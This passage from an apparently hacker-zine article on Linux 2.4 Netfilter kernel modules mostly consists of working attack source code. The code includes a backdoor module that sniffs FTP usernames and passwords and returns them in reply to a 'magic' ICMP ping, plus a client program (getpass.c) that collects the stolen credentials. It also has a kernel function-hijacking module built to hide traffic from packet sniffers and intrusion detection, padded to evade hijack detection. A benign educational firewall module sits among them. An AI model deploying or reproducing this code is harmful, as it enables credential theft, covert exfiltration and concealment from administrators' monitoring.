   tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   data = (char *)((int)tcp + (int)(tcp->doff * 4));

   /* Now, if we have a username already, then we have a target_ip.
    * Make sure that this packet is destined for the same host. */
   if (username)
     if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
       return;
   
   /* Now try to see if this is a USER or PASS packet */
   if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      data += 5;
      
      if (username)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
     && *(data + i) != '\0' && i < 15) {
len++;
i++;
      }
      
      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
      memset(username, 0x00, len + 2);
      memcpy(username, data, len);
      *(username + len) = '\0';        /* NULL terminate */
   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;

      /* If a username hasn't been logged yet then don't try logging
       * a password */
      if (username == NULL) return;
      if (password)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
     && *(data + i) != '\0' && i < 15) {
len++;
i++;
      }

      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);
      *(password + len) = '\0';        /* NULL terminate */
   } else if (strncmp(data, "QUIT", 4) == 0) {
      /* Quit command received. If we have a username but no password,
       * clear the username and reset everything */
      if (have_pair)  return;
      if (username && !password) {
kfree(username);
username = NULL;
target_port = target_ip = 0;
have_pair = 0;

return;
      }
   } else {
      return;
   }

   if (!target_ip)
     target_ip = skb->nh.iph->daddr;
   if (!target_port)
     target_port = tcp->source;

   if (username && password)
     have_pair++;        /* Have a pair. Ignore others until
* this pair has been read. */
//   if (have_pair)
//     printk("Have password pair!  U: %s   P: %s\n", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
      struct sk_buff **skb,
      const struct net_device *in,
      const struct net_device *out,
      int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct tcphdr *tcp;
   
   /* Make sure this is a TCP packet first */
   if (sb->nh.iph->protocol != IPPROTO_TCP)
     return NF_ACCEPT;        /* Nope, not TCP */
   
   tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
   
   /* Now check to see if it's an FTP packet */
   if (tcp->dest != htons(21))
     return NF_ACCEPT;        /* Nope, not FTP */
   
   /* Parse the FTP packet for relevant information if we don't already
    * have a username and password pair. */
   if (!have_pair)
     check_ftp(sb);
   
   /* We are finished with the packet, let it go on its way */
   return NF_ACCEPT;
}


/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(unsigned int hooknum,
     struct sk_buff **skb,
     const struct net_device *in,
     const struct net_device *out,
     int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct icmphdr *icmp;
   char *cp_data;        /* Where we copy data to in reply */
   unsigned int   taddr;        /* Temporary IP holder */

   /* Do we even have a username/password pair to report yet? */
   if (!have_pair)
     return NF_ACCEPT;
     
   /* Is this an ICMP packet? */
   if (sb->nh.iph->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;
   
   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

   /* Is it the MAGIC packet? */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }
   
   /* Okay, matches our checks for "Magicness", now we fiddle with
    * the sk_buff to insert the IP address, and username/password pair,
    * swap IP source and destination addresses and ethernet addresses
    * if necessary and then transmit the packet from here and tell
    * Netfilter we stole it. Phew... */
   taddr = sb->nh.iph->saddr;
   sb->nh.iph->saddr = sb->nh.iph->daddr;
   sb->nh.iph->daddr = taddr;

   sb->pkt_type = PACKET_OUTGOING;

   switch (sb->dev->type) {
    case ARPHRD_PPP:        /* No fiddling needs doing */
      break;
    case ARPHRD_LOOPBACK:
    case ARPHRD_ETHER:
{
   unsigned char t_hwaddr[ETH_ALEN];
   
   /* Move the data pointer to point to the link layer header */
   sb->data = (unsigned char *)sb->mac.ethernet;
   sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
   memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
   memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
  ETH_ALEN);
   memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
  
   break;
}
   };

   /* Now copy the IP address, then Username, then password into packet */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);
   if (username)
     memcpy(cp_data + 4, username, 16);
   if (password)
     memcpy(cp_data + 20, password, 16);
   
   /* This is where things will die if they are going to.
    * Fingers crossed... */
   dev_queue_xmit(sb);

   /* Now free the saved username and password and reset have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
   
   target_port = target_ip = 0;

//   printk("Password retrieved\n");
   
   return NF_STOLEN;
}

int init_module()
{
   pre_hook.hook     = watch_in;
   pre_hook.pf       = PF_INET;
   pre_hook.priority = NF_IP_PRI_FIRST;
   pre_hook.hooknum  = NF_IP_PRE_ROUTING;
   
   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_IP_POST_ROUTING;
   
   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);
   
   return 0;
}

void cleanup_module()
{
   nf_unregister_hook(&post_hook);
   nf_unregister_hook(&pre_hook);
   
   if (password)
     kfree(password);
   if (username)
     kfree(username);
}
<-->

------[ 5.2.2 - getpass.c

<++> nfsniff/getpass.c
/* getpass.c - simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge  -  March 2003 */

#include
#include
#include
#include
#include
#include
#include
#include
#include

#ifndef __USE_BSD
# define __USE_BSD        /* We want the proper headers */
#endif
# include
#include

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
    unsigned char dgram[256];        /* Plenty for a PING datagram */
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &one;
    
    if (argc < 3) {
fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
exit(1);
    }

    /* Get a socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "Couldn't open raw socket! %s\n",
strerror(errno));
exit(1);
    }

    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
  ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
        strerror(errno));
exit(1);
    }
    
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);
    
    my_addr.s_addr = inet_addr(argv[2]);
    
    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);
    
    /* Fill in the IP fields first */
    iphead->ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;
    
    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
    
    /* Finally, send the packet */
    fprintf(stdout, "Sending request...\n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
       sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "\nFailed sending request! %s\n",
strerror(errno));
return 0;
    }

    fprintf(stdout, "Waiting for reply...\n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
&src_addr_size) < 0) {
fprintf(stdout, "Failed getting reply packet! %s\n",
strerror(errno));
close(icmp_sock);
exit(1);
    }

    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),
       sizeof (struct in_addr));
    
    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s\n",
     (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s\n",
     (char *)((char *)icmphead + 28));
    
    close(icmp_sock);
    
    return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;
   
   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */
   
   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);
   
   return ~sum;
}
<-->


--[ 6 - Hiding network traffic from Libpcap

   This section will briefly describe how the Linux 2.4 kernel
can be hacked to make network traffic that matches predefined
conditions invisible to packet  sniffing software  running on
the local machine.  Presented at the  end of  this article is
working  code that will  do such a thing for all IPv4 traffic
coming from or  going to a particular  IP address.  So  let's
get started shall we...

----[ 6.1 - SOCK_PACKET, SOCK_RAW and Libpcap

   Some of the most useful software for a system administrator
is that which  can be classified  under the  broad  title  of
"packet sniffer".  Two of the most common examples of general
purpose packet sniffers are  tcpdump(1) and Ethereal(1). Both
of these applications utilise the Libpcap library  (available
from [1] along with tcpdump) to capture raw packets.  Network
Intrusion  Detection  Systems  (NIDS)  also  make  use of the
Libpcap library.  SNORT requires Libpcap, as does  Libnids, a
NIDS  writing  library that  provides  IP  reassembly and TCP
stream following and is available from [2].

   On Linux systems, the Libpcap library uses the  SOCK_PACKET
interface.  Packet sockets  are special  sockets  that can be
used to send and receive raw packets at the link layer. There
is a lot that can be said about packet sockets and their use.
However, because this  section is about  hiding from them and
not using them,  the interested  reader is  directed  to  the
packet(7) man page.  For the  discussion  here,  it  is  only
neccessary to understand that packet sockets are what Libpcap
applications use to get the information on raw packets coming
into or going out of the machine.

   When a packet is received by the kernel's network  stack, a
check is  performed to see  if there  are any packet  sockets
that would be  interested in this packet.  If there  are then
the packet is delivered to those interested sockets.  If not,
the packet simply  continues on it's  way to the  TCP, UDP or
other socket type that it's  truly bound for.  The same thing
happens for sockets  of type SOCK_RAW.  Raw sockets  are very
similar to packet sockets,  except they do not  provide  link
layer headers.  An  example of a  utility  that utilises  raw
IP  sockets is my SYNalert  utility, available at [3]  (sorry
about the shameless plug there :).

   So now you  should see  that packet  sniffing  software  on
Linux uses the Libpcap library.  Libpcap utilises the  packet
socket  interface  to obtain raw  packets with link layers on
Linux systems.  Raw sockets  were also mentioned which act as
a way for user space  applications to obtain packets complete
with IP headers.  The next  section will  discuss how  an LKM
can be used to hide network traffic from these packet and raw
socket interfaces.


------[ 6.2 Wrapping the cloak around the dagger

   When a packet is  received and sent to a packet socket, the
packet_rcv() function  is called.  This function can be found
in  net/packet/af_packet.c.  packet_rcv() is  responsible for
running the  packet through any  socket  filters that  may be
applied  to the  destination  socket  and  then the  ultimate
delivery of the  packet to  user space.  To hide packets from
a packet  socket we need to prevent  packet_rcv()  from being
called  at all for certain packets.  How do we do this?  With
good ol'-fashioned function hijacking of course. 

   The basic operation of  function  hijacking  is that  if we
know the  address of a kernel  function,  even one that's not
exported, we can  redirect that function to  another location
before  we allow  the real code to run.  To do this we  first
save  so  many of the  original  instruction  bytes from  the
beginning of the  function and replace them with  instruction
bytes that perform an absolute jump to our own code.  Example
i386 assembler to do this is given here:

        movl  (address of our function),  %eax
jmp   *eax

   The generated hex bytes of these instructions (substituting
zero as our function address) are:

        0xb8 0x00 0x00 0x00 0x00
0xff 0xe0

   If in the  initialisation of an LKM we  change the function
address  of  zero  in  the  code  above to  that of our  hook
function, we can make our hook function run first.  When (if)
we want to run  the original  function we simply  restore the
original bytes at the  beginning, call the function  and then
replace  our  hijacking code.  Simple, but  powerful.  Silvio
Cesare has written a  document a while  ago detailing  kernel
function hijacking. See [4] in the references.

   Now to hide  packets from  packet  sockets we need to first
write the hook  function that will  check to see if a  packet
matches our criteria to be hidden.  If it does, then our hook
function simply returns zero to it's caller and  packet_rcv()
never  gets called.  If packet_rcv()  never gets called, then
the  packet is  never  delivered  to the  user  space  packet
socket.  Note  that it is only the *packet*  socket that this
packet will be dropped on.  If we want to filter FTP  packets
from being sent to  packet sockets then the  FTP server's TCP
socket will  still see the  packet.  All that  we've done  is
made that packet  invisible to any sniffer  software that may
be running on the host.  The FTP server will still be able to
process and log the connection.

   In theory that's all there is too it.  The same  thing  can
be  done for raw  sockets as well.  The difference is that we
need to hook  the  raw_rcv()  function (net/ipv4/raw.c).  The
next  section will  present and  discuss  source  code for an
example LKM that will  hijack the packet_rcv() and  raw_rcv()
functions and hide any  packets going to or coming from an IP
address that we specify.


--[ 7 - Conclusion

Hopefully by now you have at least a basic understanding of what Netfilter
is, how to use it  and what you can do with it. You should also  have  the
knowledge to hide special network traffic from sniffing software running on
the local machine.If you would like a tarball of the sources used for this
tutorial then just  email me.  I  would also  appreciate any  corrections,
comments  or suggestions. Now I leave it to you and your imagination to do
something interesting with what I have presented here.


--[ A - Light-Weight Fire Wall
----[ A.1 - Overview

The  Light-Weight  Fire  Wall  (LWFW)  is  a  simple  kernel  module  that
demonstrates  the basic  packet  filtering  techniques that were presented
in section 4.LWFW also  provides a control  interface  through the ioctl()
system call.

Because the LWFW source is  sufficiently  documented I will  only  provide
a brief overview  of how it  works.  When the  LWFW  module  is  installed
its  first  task  is to try and  register the  control  device.  Note that
before the ioctl()  interface to LWFW can be used, a character device file
needs to be made in /dev.  If the control device registration succeeds the
"in use" marker is cleared and  the hook function for  NF_IP_PRE_ROUTE  is
registered. The clean-up function simply does the reverse of this process.

LWFW provides three basic options for dropping packets. These are, in the
order of processing:
  -- Source interface
  -- Source IP address
  -- Destination TCP port

The specifics of these rules are set with the ioctl() interface.
When a packet is received LWFW will check it against all the rules which
have been set. If it matches any of the rules then the hook function will
return NF_DROP and Netfilter will silently drop the packet. Otherwise
the hook function will return NF_ACCEPT and the packet will continue
on its way.

The last thing worth mentioning is LWFW's statistics logging. Whenever a
packet comes into the hook function and LWFW is active the total
number of packets seen is incremented. The individual rules checking
functions are responsible for incrementing their respective count of
dropped packets. Note that when a rule's value is changed its count of
dropped packets is reset to zero. The lwfwstats program utilises the
LWFW_GET_STATS IOCTL to get a copy of the statistics structure and
display it's contents.


----[ A.2 - The source...  lwfw.c

<++> lwfw/lwfw.c
/* Light-weight Fire Wall. Simple firewall utility based on
* Netfilter for 2.4. Designed for educational purposes.

* Written by bioforge  -  March 2003.
*/

#define MODULE
#define __KERNEL__

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include
#include

#include "lwfw.h"

/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);

/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
      unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);


/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
* can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;

/* This flag marks whether LWFW should actually attempt rule checking.
* If this is zero then LWFW automatically allows all packets. */
static int active = 0;

/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
    | LWFW_IP_DENY_ACTIVE
    | LWFW_PORT_DENY_ACTIVE);

static int major = 0;        /* Control device major number */

/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;

/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

/* Actual rule 'definitions'. */
/* TODO:  One day LWFW might actually support many simultaneous rules.
* Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL;                 /* Interface to deny */
static unsigned int deny_ip = 0x00000000;    /* IP address to deny */
static unsigned short deny_port = 0x0000;   /* TCP port to deny */

/* 
* This is the interface device's file_operations structure
*/
struct file_operations  lwfw_fops = {
   NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     lwfw_ioctl,
     NULL,
     lwfw_open,
     NULL,
     lwfw_release,
     NULL        /* Will be NULL'ed from here... */
};

MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");

/*
* This is the function that will be called by the hook
*/
unsigned int lwfw_hookfn(unsigned int hooknum,
       struct sk_buff **skb,
       const struct net_device *in,
       const struct net_device *out,
       int (*okfn)(struct sk_buff *))
{
   unsigned int ret = NF_ACCEPT;
   
   /* If LWFW is not currently active, immediately return ACCEPT */
   if (!active)
     return NF_ACCEPT;
   
   lwfw_statistics.total_seen++;
   
   /* Check the interface rule first */
   if (deny_if && DENY_IF_ACTIVE) {
      if (strcmp(in->name, deny_if) == 0) {   /* Deny this interface */
lwfw_statistics.if_dropped++;
lwfw_statistics.total_dropped++;
return NF_DROP;
      }
   }
   
   /* Check the IP address rule */
   if (deny_ip && DENY_IP_ACTIVE) {
      ret = check_ip_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
   
   /* Finally, check the TCP port rule */
   if (deny_port && DENY_PORT_ACTIVE) {
      ret = check_tcp_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
   
   return NF_ACCEPT;        /* We are happy to keep the packet */
}

/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
   NULL_CHECK(statbuff);

   copy_to_user(statbuff, &lwfw_statistics,
sizeof(struct lwfw_stats));
   
   return 0;
}

/* Function that compares a received TCP packet's destination port
* with the port specified in the Port Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
   /* Seperately defined pointers to header structures are used
    * to access the TCP fields because it seems that the so-called
    * transport header from skb is the same as its network header TCP packets.
    * If you don't believe me then print the addresses of skb->nh.iph
    * and skb->h.th. 
    * It would have been nicer if the network header only was IP and
    * the transport header was TCP but what can you do? */
   struct tcphdr *thead;
   
   /* We don't want any NULL pointers in the chain to the TCP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;

   /* Be sure this is a TCP packet first */
   if (skb->nh.iph->protocol != IPPROTO_TCP) {
      return NF_ACCEPT;
   }

   thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   
   /* Now check the destination port */
   if ((thead->dest) == deny_port) {
      /* Update statistics */
      lwfw_statistics.total_dropped++;
      lwfw_statistics.tcp_dropped++;
      
      return NF_DROP;
   }
   
   return NF_ACCEPT;
}

/* Function that compares a received IPv4 packet's source address
* with the address specified in the IP Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
   /* We don't want any NULL pointers in the chain to the IP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;
   
   if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
      lwfw_statistics.ip_dropped++;    /* Update the statistics */
      lwfw_statistics.total_dropped++;
      
      return NF_DROP;
   }
   
   return NF_ACCEPT;
}

static int set_if_rule(char *name)
{
   int ret = 0;
   char *if_dup;        /* Duplicate interface */
   
   /* Make sure the name is non-null */
   NULL_CHECK(name);
   
   /* Free any previously saved interface name */
   if (deny_if) {
      kfree(deny_if);
      deny_if = NULL;
   }
   
   if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
        == NULL) {
      ret = -ENOMEM;
   } else {
      memset(if_dup, 0x00, strlen((char *)name) + 1);
      memcpy(if_dup, (char *)name, strlen((char *)name));
   }

   deny_if = if_dup;
   lwfw_statistics.if_dropped = 0;     /* Reset drop count for IF rule */
   printk("LWFW: Set to deny from interface: %s\n", deny_if);
   
   return ret;
}

static int set_ip_rule(unsigned int ip)
{
   deny_ip = ip;
   lwfw_statistics.ip_dropped = 0;     /* Reset drop count for IP rule */
   
   printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n",
  ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
  (ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);
   
   return 0;
}

static int set_port_rule(unsigned short port)
{
   deny_port = port;
   lwfw_statistics.tcp_dropped = 0;    /* Reset drop count for TCP rule */
   
   printk("LWFW: Set to deny for TCP port: %d\n",
  ((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));
  
   return 0;
}

/*********************************************/
/* 
* File operations functions for control device
*/
static int lwfw_ioctl(struct inode *inode, struct file *file,
      unsigned int cmd, unsigned long arg)
{
   int ret = 0;
   
   switch (cmd) {
    case LWFW_GET_VERS:
      return LWFW_VERS;
    case LWFW_ACTIVATE: {
       active = 1;
       printk("LWFW: Activated.\n");
       if (!deny_if && !deny_ip && !deny_port) {
  printk("LWFW: No deny options set.\n");
       }
       break;
    }
    case LWFW_DEACTIVATE: {
       active ^= active;
       printk("LWFW: Deactivated.\n");
       break;
    }
    case LWFW_GET_STATS: {
       ret = copy_stats((struct lwfw_stats *)arg);
       break;
    }
    case LWFW_DENY_IF: {
       ret = set_if_rule((char *)arg);
       break;
    }
    case LWFW_DENY_IP: {
       ret = set_ip_rule((unsigned int)arg);
       break;
    }
    case LWFW_DENY_PORT: {
       ret = set_port_rule((unsigned short)arg);
       break;
    }
    default:
      ret = -EBADRQC;
   };
   
   return ret;
}

/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
   if (lwfw_ctrl_in_use) {
      return -EBUSY;
   } else {
      MOD_INC_USE_COUNT;
      lwfw_ctrl_in_use++;
      return 0;
   }
   return 0;
}

/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
   MOD_DEC_USE_COUNT;
   return 0;
}

/*********************************************/
/*
* Module initialisation and cleanup follow...
*/
int init_module()
{
   /* Register the control device, /dev/lwfw */
      SET_MODULE_OWNER(&lwfw_fops);
   
   /* Attempt to register the LWFW control device */
   if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
&lwfw_fops)) < 0) {
      printk("LWFW: Failed registering control device!\n");
      printk("LWFW: Module installation aborted.\n");
      return major;
   }
   
   /* Make sure the usage marker for the control device is cleared */
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

   printk("\nLWFW: Control device successfully registered.\n");
   
   /* Now register the network hooks */
   nfkiller.hook = lwfw_hookfn;
   nfkiller.hooknum = NF_IP_PRE_ROUTING;   /* First stage hook */
   nfkiller.pf = PF_INET;            /* IPV4 protocol hook */
   nfkiller.priority = NF_IP_PRI_FIRST;    /* Hook to come first */
   
   /* And register... */
   nf_register_hook(&nfkiller);
   
   printk("LWFW: Network hooks successfully installed.\n");
   
   printk("LWFW: Module installation successful.\n");
   return 0;
}

void cleanup_module()
{
   int ret;
   
   /* Remove IPV4 hook */
   nf_unregister_hook(&nfkiller);

   /* Now unregister control device */
   if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
      printk("LWFW: Removal of module failed!\n");
   }

   /* If anything was allocated for the deny rules, free it here */
   if (deny_if)
     kfree(deny_if);
   
   printk("LWFW: Removal of module successful.\n");
}
<-->

<++> lwfw/lwfw.h
/* Include file for the Light-weight Fire Wall LKM.

* A very simple Netfilter module that drops backets based on either
* their incoming interface or source IP address.

* Written by bioforge  -  March 2003
*/

#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__

/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
* Userspace code has no business knowing about it. */
# define LWFW_NAME        "lwfw" 

/* Version of LWFW */
# define LWFW_VERS        0x0001       /* 0.1 */

/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
* print anything with printk(). This is included for debugging purposes.
*/
#define LWFW_TALKATIVE

/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET   0xFEED0000     /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS   0xFEED0001     /* Get the version of LWFM */
#define LWFW_ACTIVATE   0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS  0xFEED0004
#define LWFW_DENY_IF    0xFEED0005
#define LWFW_DENY_IP    0xFEED0006
#define LWFW_DENY_PORT  0xFEED0007

/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE   0x00000001
#define LWFW_IP_DENY_ACTIVE   0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004

/* Statistics structure for LWFW.
* Note that whenever a rule's condition is changed the related
* xxx_dropped field is reset.
*/
struct lwfw_stats {
   unsigned int if_dropped;        /* Packets dropped by interface rule */
   unsigned int ip_dropped;        /* Packets dropped by IP addr. rule */
   unsigned int tcp_dropped;        /* Packets dropped by TCP port rule */
   unsigned long total_dropped;   /* Total packets dropped */
   unsigned long total_seen;      /* Total packets seen by filter */
};

/* 
* From here on is used solely for the actual kernel module
*/
#ifdef __KERNEL__
# define LWFW_MAJOR       241   /* This exists in the experimental range */

/* This macro is used to prevent dereferencing of NULL pointers. If
* a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr)    \
   if ((ptr) == NULL)  return -EINVAL

/* Macros for accessing options */
#define DENY_IF_ACTIVE    (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE    (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE  (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#endif        /* __KERNEL__ */
#endif
<-->

<++> lwfw/Makefile
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o

.c.o:
$(CC) -c $< -o $@ $(CFLAGS)

all: $(OBJS)

clean:
rm -rf *.o
rm -rf ./*~
<-->


--[ B - Code for section 6

   Presented  here is  a  simple  module that will  hijack the
packet_rcv() and raw_rcv() functions to hide  any packets  to
or from the  IP address  we specify.  The default  IP address
is set to 127.0.0.1, but this  can be changed by changing the
value of  the  #define IP.  Also  presented is a  bash script
that will get the addresses for the required functions from a
System.map  file  and run  insmod  with  these  addresses  as
parameters in the required  format.  This loader  script  was
written by  grem.  Originally for  my Mod-off project, it was
easily  modified to suit  the module  presented here.  Thanks
again grem.

   The presented module  is proof-of-concept  code only and as
such, does not have anything in the way of module  hiding. It
is also  important to  remember that although this module can
hide  traffic  from a  sniffer  running on the  same  host, a
sniffer on a different host, but on the same LAN segment will
still see  the packets. From what is presented in the module,
smart  readers  should have  everything  they need to  design
filtering functions to block any kind of packets they need. I
have successfully used the technique presented  in this  text
to hide control and information retrieval packets used by  my
other LKM projects.


<++> pcaphide/pcap_block.c
/* Kernel hack that will hijack the packet_rcv() function
* which is used to pass packets to  Libpcap applications
* that use  PACKET sockets.  Also  hijacks the raw_rcv()
* function. This is used to pass packets to applications
* that open RAW sockets.

* Written by bioforge  -  30th June, 2003
*/

#define MODULE
#define __KERNEL__

#include
#include
#include
#include
#include
#include
#include        /* For struct ip */
#include        /* For ETH_P_IP */

#include        /* For PAGE_OFFSET */

/* 
* IP address to hide 127.0.0.1 in NBO for Intel */
#define IP    htonl(0x7F000001)

/* Function pointer for original packet_rcv() */
static int (*pr)(struct sk_buff *skb, struct net_device *dev,
  struct packet_type *pt);
MODULE_PARM(pr, "i");       /* Retrieved as insmod parameter */

/* Function pointer for original raw_rcv() */
static int (*rr)(struct sock *sk, struct sk_buff *skb);
MODULE_PARM(rr, "i");

/* Spinlock used for the parts where we un/hijack packet_rcv() */
static spinlock_t hijack_lock  = SPIN_LOCK_UNLOCKED;

/* Helper macros for use with the Hijack spinlock */
#define HIJACK_LOCK    spin_lock_irqsave(&hijack_lock, \
     sl_flags)
#define HIJACK_UNLOCK  spin_unlock_irqrestore(&hijack_lock, \
  sl_flags)

#define CODESIZE 10
/* Original and hijack code buffers.
* Note that the hijack code also provides 3 additional
* bytes ( inc eax;  nop;  dec eax ) to try and throw
* simple hijack detection techniques that just look for
* a move and a jump. */
/* For packet_rcv() */
static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                      "\x40\x90\x48"
                                      "\xff\xe0";
static unsigned char pr_orig[CODESIZE];

/* For raw_rcv() */
static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                      "\x40\x90\x48"
                                      "\xff\xe0";
static unsigned char rr_orig[CODESIZE];

/* Replacement for packet_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_pr(struct sk_buff *skb, struct net_device *dev,
       struct packet_type *pt)
{
    int sl_flags;        /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
